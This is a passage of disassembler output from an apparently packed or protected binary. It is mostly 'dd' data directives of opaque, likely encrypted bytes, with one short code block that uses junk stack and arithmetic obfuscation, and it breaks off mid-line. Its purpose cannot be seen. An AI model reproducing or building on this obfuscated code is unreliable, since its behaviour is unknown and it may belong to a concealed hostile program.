0C281D8BFh, 5D17h, 5E860h, 60640000h, 0F63065Dh dd 8Ah, 850F5B00h, 3, 61A0EB80h, 9E9A8DB9h, 7AC18105h dd 0FFA617Ch, 328BF9B7h, 8153F480h, 0ECDF6h, 5E861h, 0B5F70000h dd 8B1A0DE5h, 0C6815BFAh, 7165FDFh, 81DE8B66h, 573543EEh dd 0D9BF0F54h, 0EE83289h, 0E2000000h, 0AE147D7Ah, 15B882Bh dd 0DE2CD343h, 0C0B70FE0h, 14EA8158h, 0F7DF07Dh, 0C281D8B7h dd 7DF07D10h, 0AE8h, 0FE8D1600h, 37B9FE83h, 0E8AD377Eh dd 9, 2E869005h, 0A448696h, 67D3819Ah, 5B13F3C3h, 850F4958h dd 0Fh, 24E9F98Bh, 8F000000h, 8A3B2716h, 813C3566h, 0B56A21D3h dd 0FF68E950h, 68DFFFFFh, 0AC8EA3D3h, 270AAB9Ah, 0B21461FFh dd 8DFB6429h, 0F02D658Dh, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0BA60539Dh dd 670C28D4h, 12E9h, 668F4300h, 80E576A0h, 84B4D580h, 7DB4CCABh dd 612AF3FEh, 0DD8D895Eh, 6A05EA0Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0FFEFC356h dd 5FCDEE79h, 85C7DC8Ah, 5EA0ACDh, 5E40h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 17h, 0DBC35747h, 0C76F92AFh dd 0EA25F585h, 5, 8E900h, 0C1630000h, 113154EDh, 0B5FF6637h dd 5EA0D95h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 61C35747h, 0AD460646h, 0EB3CB83Bh, 1995FFEDh, 6A05EA2Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 91DAC357h, 0F6D18554h, 0CFC88166h, 7D958B96h dd 6A05EA1Ch, 1595FF00h, 8B05EA10h, 8E1CEBC0h, 63558000h dd 0E999D493h, 9A2BB05Bh, 6C8D6CD0h, 2616538h, 59FE23B9h dd 0E8509D0Ah, 0Eh, 15F8D9BAh, 7D75CEE2h, 6CD1BBF5h, 0BD31FA9Ch dd 5EA06D9h, 0D1B58959h, 8105EA13h, 625BC1h, 95858900h dd 6805EA12h, 1878h, 8958D78Bh, 0EA3099BDh, 81318B05h dd 0F42B1CF6h, 5DE8029h, 6469EE81h, 958B1237h, 5EA16FDh dd 2D6F681h, 95033E3Ah, 5EA231Dh, 0DD9D3156h, 8F05EA1Ch dd 5E901h, 0A8F40000h, 83822D09h, 0DF8B04E9h, 0F01E883h dd 0FFFFBC85h, 0F59523FFh, 8D05EA0Eh, 0F02EC78Dh, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 96B73A9Dh, 80E8B26Dh, 8D8951F2h, 5EA0ADDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 9BC35040h, 0ACD85C7h dd 74F805EAh, 958B0000h, 5EA31A1h, 25F585C7h, 5EAh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F85880C3h, 3151B5FFh, 830F05EAh, 13h, 7E8h, 3924CF00h dd 221B9A3Ch, 3599D89h, 0FF5805EAh, 0EA2A1995h, 0F1D88105h dd 8B7D7BD7h, 0EA3149BDh, 0FF006A05h, 0EA101595h, 0EBC08B05h dd 80C20B5Ah, 0A9D3EE87h, 0FE583A14h, 40CDEA0h, 107D5E91h dd 36B090FFh, 9AB237CDh, 0E87A7F31h, 16164C77h, 6D8AD068h dd 25C5615Eh, 0C97144C3h, 3280A7FEh, 95F014CFh, 0D75DEFBh dd 0B5C47D2Ah, 0B2E37094h, 0C38205CEh, 8D84663Bh, 16D04474h dd 8E009C72h, 5864B853h, 0EB2C5878h, 9E7D0079h, 0E2218CEFh dd 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h dd 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh dd 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh dd 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h dd 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h dd 711800BEh, 0ADC4D756h, 0EE0173E2h, 0F9E93F7Ah, 6800000Eh dd 5F03164h, 0FA4EC9E9h, 326C68FFh, 0BFE905F0h, 68FFFA4Eh dd 5F03333h, 0FA4EB5E9h, 348468FFh, 0ABE905F0h, 68FFFA4Eh dd 5F034FCh, 0FA4EA1E9h, 35B168FFh, 97E905F0h, 68FFFA4Eh dd 5F0364Fh, 0FA4E8DE9h, 36DE68FFh, 83E905F0h, 68FFFA4Eh dd 5F037BCh, 0FA4E79E9h, 387068FFh, 6FE905F0h, 68FFFA4Eh dd 5F039B2h, 0FA4E65E9h, 3BE568FFh, 5BE905F0h, 68FFFA4Eh dd 5F03CD3h, 0FA4E51E9h, 6C1345FFh, 0E88DC238h, 601546BCh dd 0EE8BCE34h, 611240BAh, 90129335h, 1FE5B162h, 8A7024D7h dd 3BC1954Ah, 0F95307B2h, 96E3D96Bh, 0DA561D46h, 49E86D73h dd 0F438D17h, 67221A6Ch, 0E6CF1756h, 7F9CB133h, 6AC95126h dd 0EC8DC0CAh, 6D3841B8h, 97568133h, 0B12912BCh, 0CB321EFh dd 87790FAFh, 0F1116C75h, 78004DBFh, 842E244Bh, 3Dh, 85F739DDh dd 257471D2h, 9FB40658h, 5212BC48h, 201066CAh, 0EE116C38h dd 6F65C96Eh, 0C7E34FEAh, 364A6B99h, 8734A668h, 0A6E4472Bh dd 0A592F36h, 60AE2E24h, 0BAE340F1h, 0D1h, 83F739E3h, 0B3107CD0h dd 3D9140B5h, 0BC10C337h, 3E923FB6h, 4410C134h, 4B524EAh dd 1D67C4A8h, 175665F2h, 9AC475F8h, 1F465173h, 0F99539DCh dd 8A7B86D4h, 428B7129h, 0AB653B97h, 0B7DB7722h, 8DE8C49Ah dd 278486F6h, 500ED722h, 0BC4B55E2h, 2470E812h, 0AFF1CCDDh dd 95A70446h, 25865BF4h, 9304ED77h, 0B93E3ED6h, 31E2599Fh dd 985F121Ch, 7A16BA5Bh, 0C4CFB516h, 770CCFCCh, 0FB7FB1EFh dd 84F60C58h, 630BE4D7h, 8921E82Bh, 0C7358h, 10C70900h dd 8439BE44h, 0F4A92AD0h, 7A175AA0h, 0F5A6D42Eh, 0FC8607A1h dd 7389DD7Eh, 0F60C58FBh, 7F85D186h, 0A50F5BF6h, 97AF8537h dd 8E021D46h, 4EED6D27h, 0F87AB41Ah, 389BF75Bh, 4E1AB73Eh dd 421B6E17h, 0F89DD21Ch, 0C1323854h, 5FEDBF1Ch, 12BC4944h dd 0B5C36FF7h, 116C37C3h, 0FC50034Bh, 7AD683F6h, 3EDF1C16h dd 7CE8B692h, 0F96B2559h, 0E6DE6CF6h, 59116C37h, 5E2A62C1h dd 0AE2E240Ah, 0BEh, 49E86DF7h, 896BEFE5h, 0B25B3E70h dd 842844D3h, 56EFC5F2h, 21D00517h, 2932DB75h, 0DCCB9087h dd 0DB1214B7h, 56CC923Eh, 56FC10E4h, 58FB6317h, 2F714C5Dh dd 0BD00F29Dh, 0C945AC12h, 74D05093h, 4F291538h, 1A07990h dd 1541D9A2h, 244852BBh, 849BD8F1h, 69CAA657h, 1E401D6Ch dd 0D17DB8ACh, 8DD34B0Ch, 9DE6CC64h, 3933855Fh, 0DBB71BBAh dd 76E42A78h, 0E76B91C5h, 0B9400734h, 7CD4E829h, 0B6BADh dd 28CF0100h, 0AC51867Ch, 2CD102F8h, 0A24F8278h, 2DCE0CF6h dd 245EDF79h, 0AB5105B6h, 0DE247023h, 57ADF99Eh, 8D27731Eh dd 98D7AD1Fh, 0A62A1D46h, 4EED6D0Fh, 0CC6DE01Ah, 0D039C198h dd 996625DBh, 8482213Ah, 60CA051h, 8C7622CFh, 19F0AE4Fh dd 0DADFBFF4h, 66135A76h, 309A90Ah, 0D57B2FCAh, 8427D21Bh dd 2574E7CBh, 0BDEF0658h, 4B73B3Bh, 70A7DA29h, 783381D3h dd 4B12BD3Bh, 729B09D3h, 811565ACh, 502A8957h, 0DAF2625Fh dd 0DE805DACh, 4843EF6Ch dd 0F565AB15h, 0CCEFFD07h, 264A98A6h, 0CA66FE85h, 0B1EFB6C3h dd 5D98CD03h, 2678E00Fh, 0E0B465E8h, 0F40D31Ah, 0C2AEC26Eh dd 9F771CF1h, 518028E5h, 0AA4h, 31651A5Eh, 85D184CBh, 0D59FC7Fh dd 83D782F7h, 0E5AF979h, 255529A8h, 96D82276h, 94BB1E5h dd 75F80256h, 0A83A90C4h, 469A221Ah, 0B019951Dh, 0E549E86Dh dd 9EC09DECh, 0EA87CA04h, 68094C46h, 67C4A8C4h, 0BC736E1Dh dd 76E62812h, 0A2016DC1h, 0DB027D9h, 0E7018CA1h, 7715DBA8h dd 0DA23771Bh, 1AA8F6CFh, 0CD19B91h, 8ED07CE4h, 0F3EB2867h dd 2D005EFEh, 0BFEA3507h, 8EF4576Dh, 0B81F2BAh, 0D11C4806h dd 2839C527h, 8074C65Ch, 0F30B81E7h, 4091C86Bh, 0C8000000h dd 1C421B6Eh, 67403486h, 2BB31756h, 0B768DA88h, 0E312BC2Bh dd 0F854D10Ah, 6ECD0905h, 1DD38D15h, 8F6638DFh, 0CD3EDC9Fh dd 762E8DF4h, 6B8C02F0h, 28C90C11h, 0A156867Ch, 9CEDC0Dh dd 6E850000h, 0AE1C421Bh, 12A64945h, 0E47E20B8h, 36F8CC7Eh dd 0D34B1166h, 37453F8Dh, 20B81166h, 0A1508583h, 67955BF5h dd 3B3B8F1h, 1E722AE8h, 8732BBBDh, 0ED7222Bh, 9B26E250h dd 99700CB5h, 80F2C7FEh, 3E137FD3h, 359697E6h, 0FB3EB04Eh dd 0ACC073h, 905E006Ch, 12E8BC5Dh, 9B923EDBh, 27E9B78Eh dd 0C1AD01B4h, 51823062h, 2406DC38h, 0D4D48FBCh, 8028EE1Dh dd 95351h, 0B067E900h, 24D91EE4h, 94498A70h, 1AB73AC0h dd 9546B44Eh, 9CE667C1h, 13E9BD5Eh, 966C38DBh, 1FE5B166h dd 0C56F3BD6h, 9B0FE557h, 0EE621D46h, 0AD03947h, 17DDB76Dh dd 0C4B4CE6Dh, 491756B0h, 893B6540h, 12A693C7h, 0F23C62FAh dd 708ADE7Bh, 0F9F05CFDh, 5F55E7B0h, 88116681h, 0FC787451h dd 0FB63142Ah, 0C87BC997h, 7B0CCCC0h, 5D07D0E3h, 0D57DE82Dh dd 8DB04h, 0B85F9100h, 3CE116ECh, 0BC619268h, 32DF12E8h dd 0BD5E9C66h, 0B4CE4FE9h, 3BC19546h, 0AE5400B3h, 27DD892Eh dd 0FD5703AEh, 9AE7DD6Fh, 0D65A1D46h, 11A3397Fh, 1756671Bh dd 5355F66Eh, 42DB191Ah, 630F6310h, 0E190C5CFh, 0CF3D7F4Dh dd 781D529Ch, 0F99EDED4h, 8A7E3695h, 0FA340E3Dh, 3A7h dd 241B6EA3h, 326C00B1h, 0A649B480h, 15FC712h, 4E8D86CFh dd 852E03AFh, 734F54BDh, 0E7B3DFB3h, 9539D81Dh, 664C0DE3h dd 320B1E11h, 181FF66Ch, 6732B354h, 0E08C31A2h, 4D8A3943h dd 0E43D0CCCh, 0AFC3177Eh, 7C235112h, 0B04F7C10h, 0F4E82E4Dh dd 8268D5Ch, 9CDC0000h, 2255AFFBh, 9EDD2773h, 2051ABFFh dd 9BDF2571h, 8B0AACF8h, 90C477FBh, 6337E46Ah, 0F0A45B99h dd 4216C30Ah, 0F4C87AE8h, 471D469Bh, 0E86D62CBh, 0E669AA2Fh dd 9BF79B37h, 1C515BF7h, 99DBD17Dh, 11404AE6h, 2466CC60h dd 0F5B785B8h, 3D8A7E87h, 0F8FA340Eh, 0A3000002h, 56671F11h dd 0C09DEC17h, 2C9E049Eh, 17566758h, 0EA9033ABh, 12A64A68h dd 1FD18F17h, 956F3BD6h, 141DB160h, 0FC663805h, 6638764Eh dd 0F251C911h, 446112A0h, 8C140CCCh, 2DD90ABFh, 47963EE8h dd 788h, 5D09AE22h, 0D98D30A7h, 590DB023h, 0D7832EA3h dd 5A0EAD2Dh, 0D1017DFCh, 4A8C7622h, 0D507FDA9h, 498C7622h dd 0C456FCA8h, 469D7E76h, 0D47DF11Dh, 0E549E86Dh, 67CB66EFh dd 98E51755h, 340E3CF0h, 453F8D17h, 0B817565Fh, 64DA8320h dd 83000002h, 0DC7FF739h, 0A89C2E70h, 1B175666h, 364CEF83h dd 17566742h, 0B9E7BECBh, 0A64A7E0Bh, 0CB950D12h, 7521D005h dd 7AB468Fh, 7C22FB0Eh, 0CC173DCEh, 5B68F00Ch, 0E82DE9B0h dd 0F9AD7CD4h, 0B3000006h, 34CE9A3Dh, 0BC4612C3h, 30CA9E3Fh dd 0BE4410C1h, 6DCB9F3Ch, 0B76496ECh, 26D519E3h, 0AB4C8872h dd 21D005FFh, 0FF4DDF75h, 1D469D05h, 395DF478h, 0F1D56BD0h dd 1C70DC83h, 4127E31h, 0AC14E85Ah, 0FF671756h, 66135A5Ch dd 0EC8DC0CAh, 6CFF7CB2h, 56ABE6DEh, 0ADC15917h, 4806AE0Eh dd 0FA569F1Ch, 67E69B6Fh, 451B77B3h, 89D5478Bh, 9F883056h dd 9CF05C30h, 7C9673Fh, 0CB8320D3h, 340EFB3Dh, 749h, 98B61000h dd 0EF000001h, 56671D11h, 58071217h, 0B8D47819h, 0C6388AD4h dd 3512A649h, 0B83DF3ADh, 79E34D19h, 6637F1CBh, 1AB93911h dd 7F75C76Dh, 0F2116638h, 0CE2B066Ah, 356B210Fh, 1B5254F7h dd 0CEDBD27Eh, 681BA9F7h, 1B0CCB69h, 960FB083h, 8D25E82Eh dd 61B5Ch, 0F89FD100h, 7C2156ACh, 0FCA1D228h, 721F52A8h dd 0FD9EDC26h, 0F48E0FA9h, 7B81D586h, 0EE1440F3h, 679DC96Eh dd 0BD1743EEh, 9DA79D2Fh, 961A1D46h, 2FE86D3Fh, 0C799F5A8h dd 0AD764C2Eh, 0D6757AE5h, 58F97C76h, 0E2125CF4h, 71C3A0D5h dd 1757047Bh, 27B517CEh, 0E1631904h, 1B5E18Dh, 340E7277h dd 6D12428Ch, 33A7ADC1h, 0E3402C80h, 7BAh, 0D0B6E300h dd 0EF000000h, 56671C11h, 39041517h, 4956D567h, 31A912A6h dd 8D2CA16Fh, 39D81DD3h, 0B538C29Ah, 36B08436h, 9B031166h dd 47525BF7h, 0E192207Eh, 940CCC15h, 2A83F0Ch, 0F45CE82Eh dd 56725h, 24DB1D00h, 90458A70h, 18BD3EC4h, 9643B64Ch dd 19BA38C2h, 186AEB4Dh, 976D39DAh, 12E8BC5Fh, 93693DE2h dd 41EBBF5Ah, 9F8B61D3h, 72FE1D46h, 49E86DDBh, 8352BBE5h dd 0E265CA62h, 0A5282E8Dh, 8230AAF4h, 17575DAAh, 8626851Dh dd 0A7F4602Eh, 0C170E52Eh, 0BB4DF9ADh, 0CB340F30h, 7, 2DB692h dd 6DEF0000h, 0EFE549E8h, 6867CB66h, 30A5F262h, 48F4D581h dd 5A000000h, 14E85AC0h, 67175667h, 66B389FFh, 9E061756h dd 1BB76894h, 6D71D477h, 0BBE549E8h, 0F2510075h, 5666B788h dd 5D007717h, 0DB76FBF1h, 0DF0D5377h, 1CD298BEh, 0DF9D3EDFh dd 0B353BAADh, 5F371AB3h, 0F37A7CDFh, 6D4B1246h, 8D1749E8h dd 5667453Fh, 1146B817h, 0C0ACC06Ch, 539DC363h, 0DBDE7D20h dd 1BA9F7CEh, 12A64990h, 24D504CAh, 41C9E488h, 0AB56E8F8h dd 54AAD172h, 0D4DE7223h, 305CF0A1h, 0A06E305Ch, 22D88C2Dh dd 9E500EABh, 7F13BF5Ch, 24757CDCh, 86C90759h, 1D177BD7h dd 0CA983BDAh, 0B60CA078h, 154BD30Ch, 0B3E792DBh, 0F9550449h dd 82DCA9F0h, 0DBFDE330h, 7D4ED606h, 0EE1E28F0h, 256DBC14h dd 0DF000004h, 48B2E699h, 0F8025607h, 748EDA7Bh, 0FA005405h dd 298FDB78h, 0FB98DAA8h, 722155AFh, 0FFA0DC26h, 7D1C51ABh dd 0A3118329h, 1D469FC9h, 6D19B03Ch, 0E71D49E8h, 8736A56Eh dd 872B472Bh, 3DE017D9h, 585EFD91h, 0A03A6415h, 56671A12h dd 56F56D17h, 0E4105EF6h, 0A7F39ED7h, 0E396513h, 369134h dd 6EC80000h, 0D21C421Bh, 5A50FCA1h, 0AA09651Ah, 2B954AF8h dd 30A812BCh, 0E433A06Eh, 8ABC778h, 0B768945Ah, 1B9565E3h dd 5499116Ch, 0C90BF1A5h, 8D6BBA16h, 32000003h, 0D184F739h dd 5B227772h, 5428B705h, 39B12BCh, 0BC5F935Dh, 7FDF7C10h dd 0AF6CEF21h, 0B5D97528h, 0F97C7AD9h, 0F1FBF458h, 1BE23783h dd 96498B45h, 1A5C563Ah, 1AB9D579h, 216DFA48h, 58C00CD2h dd 0D9A4F50Ch, 0EEAA3587h, 851D06E7h, 33E215DBh, 0CEE5DF6Dh dd 0C0580597h, 89C9C363h, 0A4C46EAh, 8BCFC569h, 3E6044E8h dd 41FFAFCEh, 0AB728713h, 0E7DD6FF5h, 5A0597CEh, 0CF6A42F0h dd 45DD0597h, 6AD88A29h, 0FDBCFDh, 46BCE870h, 0C4CE620Fh dd 4DB4E091h, 0D63F613Ch, 0FFC4C375h, 0A1AD425Ah, 5A52B674h dd 0E2DA6836h, 55FFAD6Bh, 8E3C6ECDh, 0FB137A61h dd 9E41B37Dh, 80DE463Dh, 0C5690E4Eh, 0DCAA0AA9h, 0F9C357ECh dd 0E3EA1A54h, 167B2E15h, 3061h, 1B6E3800h, 51F51C42h dd 3AF23814h, 0DD6F3D9Eh, 12BC6BC6h, 75DBA079h, 17A88726h dd 0CFA1D77Bh, 29116C45h, 20E8F567h, 6C2E2418h, 0ECh, 8E86D35h dd 0BD1A99AFh, 673955ECh, 838928A9h, 6F03AF4Ah, 0F4666CCCh dd 0E969AE21h, 0E68A264Ah, 0A92C268Ah, 274BE86Eh, 0AD4C818Bh dd 31507FF9h, 50CA1757h, 2E8478CAh, 6FF71757h, 572E2319h dd 0AD0E9617h, 237722ABh, 508394D9h, 16D01ADh, 8855A4ADh dd 29EB64D6h, 69E12BDh, 875EAB52h, 6BD943D9h, 116D2791h dd 0A5DF7CE4h, 0CD178F7h, 0C20C52CAh, 19B7E390h, 51F2A5D7h dd 8C422357h, 0E3D9AF50h, 560B8047h, 0E91A2CEh, 0E6E829CDh dd 1F29F4Eh, 48880000h, 0B639C397h, 2AA95307h, 0B425DF8Bh dd 27AB5105h, 7862074h, 0C58FB7Fh, 87D380F6h, 0C58FF7Dh dd 86D27FF6h, 380CBE2Ch, 8B1D46A2h, 0ED6DAE07h, 7AB41A4Eh dd 0FDF75BF8h, 1A76DA79h, 37EA5B76h, 0FDF5DD6Dh, 6415585Eh dd 1A12A03Ah, 6D17570Ah, 570E56F5h, 1C421B6Eh, 0BC48B5AEh dd 7CD04812h, 376B822h, 384C2056h, 27BF116Ch, 9E52370Ah dd 298ACA82h, 6BD85D53h, 6795DB11h, 0EB88CA04h, 0C0882B47h dd 2E23AA38h, 9844h, 0E86D1D00h, 6BEFE549h, 0BE0C96C8h dd 175666C6h, 0A202A139h, 5665ABD4h, 0FAA2317h, 8D2CA15Bh dd 4E12821h, 0B465945Ah, 58F74517h, 0EB12BC5Eh, 0CBDE2773h dd 0F262ACF2h, 5AF7CD7Fh, 0D24A116Ch, 0DD7E12BEh, 0B10E3D8Fh dd 39A10CD0h, 8A29A967h, 5B624DEh, 2A95B536h, 32E34BE8h dd 104h, 0D1853ABEh, 0A5F1A42Bh, 2D791C5Fh, 0A3F7A2D7h dd 2E7A1959h, 5750988h, 76F80256h, 0E96B91C5h, 55986236h dd 0C85AF0A4h, 46A3827Ah, 0D079F51Dh, 1A4EED6Dh, 98CC6DE0h dd 60D039C1h, 22C5E928h, 5484EEDh, 731FBC32h, 0F1A0D5DFh dd 704D5CA5h, 630F9C2Eh, 0D14B12A6h, 66518963h, 6E64FC11h dd 88E448EDh, 64C8502Bh, 144AE76Eh, 4F49CCFDh, 48EB3603h dd 0B663EA10h, 65B026E8h, 872B47F6h, 0E0BEC6EBh, 0C417320Fh dd 92B1C767h, 5827EC03h, 4F84A19h, 77D6DAE3h, 252F83EFh dd 8BAF03B2h, 7976A7D5h, 33BA0173h, 8C42D886h, 0E6DEA849h dd 59D6DAE2h, 0D083CBC1h, 0EBB3107Ch, 91448B45h, 0F4F2513Dh dd 0FA41B681h, 6CC075h, 0A6AC006Ch, 7A2A8633h, 0CA0398C4h dd 2992406Eh, 0D07B46Bh, 114529C8h, 66EB25BFh, 7D0B67CBh dd 0D6DB1287h, 0CA05387h, 2C8F1760h, 5AF6A32Ah, 38Bh, 0A508D200h dd 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch dd 8A4579Bh, 8E22CF02h, 0AA65784h, 822ECF00h, 0E28952E9h dd 4C281h, 0EA830000h, 24148704h db 8Bh, 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov ebp, 3EF74966h push eax mov eax, 50CA4A4Eh shl eax, 6 or eax, 50C104F9h shr eax, 3 and eax, 210A08EFh not eax xor eax, 0C6F2E62Eh sub ebp, eax pop eax push 4541h mov [esp], esp add dword ptr [esp], 4 pop edx push 1008h mov [esp], ebp sub dword ptr [esp], 4AE54581h pop dword ptr [edx+8] add dword ptr [edx+8], 4AE54581h push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_5488E2 ; --------------------------------------------------------------------------- dd 0F1B0DCCh, 0F03DFCB8h, 0FFC50305h, 8B7EB7E0h, 17F20C4Eh dd 4A72AF59h, 15DB3D01h, 6E8E5E51h, 0D5E27112h, 1B2FC34Ah dd 0E312B070h, 0A20A4316h, 9C92B02Dh, 5E8AC377h, 0A943E11Ah dd 29FEC256h, 0E8D1EE37h, 13E3A06Ch, 0CBF7EE5Ah, 7F95D612h dd 17DE91Ah, 5D600000h, 16C4FFEh, 0D1D76FC2h, 41EFB4CAh dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch dd 0ACE5h, 1, 42h dup(0) dd 0F8000000h, 0A43736D1h, 0DED3C20Dh, 0E95D7205h, 0FA8h dd 0F0423A68h, 17BAE905h, 0EF68FFFBh, 0E905F042h, 0FFFB17B0h dd 0F0448C68h, 17A6E905h, 4268FFFBh, 0E905F045h, 0FFFB179Ch dd 0F0465868h, 1792E905h, 3768FFFBh, 0E905F047h, 0FFFB1788h dd 0F047BF68h, 177EE905h, 3568FFFBh, 0E905F048h, 0FFFB1774h dd 0F0494F68h, 176AE905h, 0F068FFFBh, 0E905F049h, 0FFFB1760h dd 0F04A9F68h, 1756E905h, 3A68FFFBh, 0E905F04Bh, 0FFFB174Ch dd 0F04BD668h, 1742E905h, 2C68FFFBh, 0E905F04Dh, 0FFFB1738h dd 0F04E7068h, 172EE905h, 3A0DFFFBh, 0B786E902h, 321B749Fh dd 0B09EF11Ah, 2A1C7398h, 83AEF912h, 0F41F3701h, 759EB69Bh dd 0F51E361Ah, 719AB29Ah, 0A48CE9D0h, 44E825CAh, 0C8B0D3E6h dd 5ECFDCB0h, 5438503Dh, 0E10F4737h, 759EB686h, 21585756h dd 1F9CB144h, 917FB7E8h, 1F9D2CF0h, 23D6F1E8h, 50DF6A7Ah dd 330638h, 48E50000h, 5E3B424Dh, 0E81FB7B3h, 0AE937DB5h dd 9A4BB76Ah, 0A8C419A9h, 1FB35FCDh, 0F0EBCCE8h, 50F9B735h dd 5D380138h, 0E81FAED3h, 40315D95h, 0E5h, 1C3404A3h, 6BA395F2h dd 0E21AE285h, 6B52310Ch, 0DDB1BD53h, 5DB6CEBEh, 358DBA34h dd 7A2911E2h, 4B327A92h, 8E091772h, 17DFE235h, 144FAD93h dd 670BB860h, 0A3DBA3CCh, 9A86E3DAh, 4EE235B3h, 7944EA86h dd 0B2FB2540h, 25EDE235h, 3276649h, 374E063Eh, 412D6554h dd 0C0881D78h, 79BDE81Fh, 71A7F58Eh, 0CD6FD8D3h, 0DCCE29C6h dd 0EC24F894h, 4D692407h, 740D457Dh, 0D270011h, 5128E0EEh dd 0F814AC68h, 62BC6CBBh, 44286098h, 0D63D5527h, 8EB7CFB9h dd 0CD8C3DB7h, 0EA0BC12h, 3E00000Dh, 0B7D8334Bh, 345BB0C8h dd 8FE00B43h, 0D6289C1h, 0BFE8033Bh, 0EE261092h, 6DA56A05h dd 0ED25E986h, 69A16906h, 7F1A2382h, 0E825CAB1h, 40A15B7h dd 9EF11A32h, 9E0DFDAEh, 32DC94ACh, 6C0F763Eh, 0A10A669Eh dd 294D48BEh, 19602860h, 1FB7957Ch, 6D834BE8h, 1FB7200Ch dd 0AF2A0DE8h, 50FDF6F6h, 968A38h, 4690000h, 95F21C34h dd 0E4856BA3h, 0E2358E0Ah, 8A619961h, 13FD15E5h, 2F7C4D2Eh dd 0D612961h, 552C6322h, 1F9B6530h, 0F3D87BE8h, 713935DBh dd 0B3FCB99Ah, 7661AFCAh, 0CF07EE0Ch, 0ABE3D5B6h, 255D2F40h dd 8C803F1Ch, 418B6CDh, 0C59h, 3E820EBh, 8E659D6Ch, 0BE018E1h dd 957E9664h, 13F810FAh, 21EB6944h, 0A06D02E9h, 20EC8368h dd 9C6C03E8h, 172E8F64h, 25CAAE72h, 0F10B2E8h, 1E02675Eh dd 0C2E23589h, 3305660Ah, 0AF9FF01Bh, 1BF50DFCh, 0ABB45F17h dd 0CBD03404h, 356AAA95h, 0E4836D25h, 0E685FC14h, 258EE21Ah dd 71088706h, 1F93D914h, 0A9478FE8h, 1F9464C8h, 0EBEEC9E8h dd 50DAB232h, 934E38h, 48AD0000h, 0A16734Dh, 0DEE23589h dd 260A6F16h, 3AE23589h, 0A0C3BAF2h, 5C50BED6h, 19758D7Fh dd 9EB44520h, 7CB4E81Fh, 0FDCCAF92h, 60CCA9C5h, 0CDE81F9Fh dd 0B636EFEAh, 4A3850E1h, 55h, 513D5EA9h, 1D556D52h, 615F5E71h dd 35891C04h, 4C04CCE2h, 91015035h, 6102E81Fh, 9D917F97h dd 0BE52DF1h, 1F90C26Ah, 193119E8h, 6EA690F7h, 31A4FF80h dd 0AE290E5Fh, 50D7F5F7h, 9FFAC338h, 0E81F8D91h, 8D49D7B2h dd 0D71FE81Fh, 9EEF834Bh, 13h, 8057F7Dh, 0C2060000h, 0A995444Fh dd 0FE8A1591h, 4840533Fh, 23B424Dh, 0F639B61h, 25C9246Ah dd 750CC4E8h, 5EE2616h, 846AA26Ah, 146DEEAFh, 4BCC3D50h dd 0A198E1A9h, 26275CC4h, 0A8C40CE8h, 3CBA891h, 452925CBh dd 1665ED20h, 423BF3EEh, 2BED5921h, 2F552280h, 0FC937830h dd 98B09F0Ch, 94AD3D1Ch, 2E668443h, 0E463457h, 0A6E7CC62h dd 78217625h, 9498768Eh, 882CDD10h, 2DDCB9C0h, 33F3FFD5h dd 20E7C2FBh, 0CC62C799h, 0ABCD0h, 85BD8800h, 23A016Eh dd 9DB586E9h, 1B331976h, 95AD9FF0h, 8604297Eh, 18779CB4h dd 9FF01B33h, 1F709BB3h, 5DFC172Fh, 0CD1F0164h, 63C1E825h dd 8A1A027Ch, 0EF2BE235h, 4A3C10AEh, 0D154B632h, 35705F33h dd 866037Ah, 0D8E826AAh, 917F977Bh, 1D3ED59Dh, 0AF96EFA0h dd 26AA66CAh, 36FA9FE8h, 2AE826AAh, 0DAB67EE2h, 0E9F086E3h dd 38F0EE16h, 11E18541h, 36AD5B28h, 3800635Ah, 0B484EB00h dd 5C59729Ch, 0D64F2A53h, 8AF40786h, 61023B42h, 6E0D6199h dd 0E28D669Eh, 6D0CE21Ah, 740786C1h, 2F565954h, 0F1A13B4Ah dd 0DCE52D79h, 41A754CBh, 6B0AC02h, 4600000Ah, 0DFB05B73h dd 5C33D8F0h, 0D7B8536Bh, 553AD1E9h, 97C02B63h, 364E38BAh dd 0B5CDB2DDh, 354D315Eh, 0B1C9B1DEh, 0A7C2FB5Ah, 0E825CE79h dd 48D2CD6Fh, 5E3B424Dh, 0E825C820h, 0B57108C0h, 11FBA3F5h dd 9F1B17F9h, 0D1BD9918h, 8BC38BE8h, 35915560h, 0F2F9C1Bh dd 7545264Ah, 1D98B35Dh, 0FC8EEB92h, 0ECEE169Ah, 0E7995D24h dd 0F73A4E60h, 618FC7B6h, 7049256Dh, 0F8132B13h, 816FA797h dd 0DDA4EBAAh, 0F0DDCEBEh, 723A36D8h, 0DA1E271Eh, 167B1618h dd 7DA3C613h, 63EE1762h, 0EA8FE3ABh, 0F407A163h, 0A2DAA605h dd 8F093EAh, 719FB79Bh, 0A921F97Dh, 0E356330h, 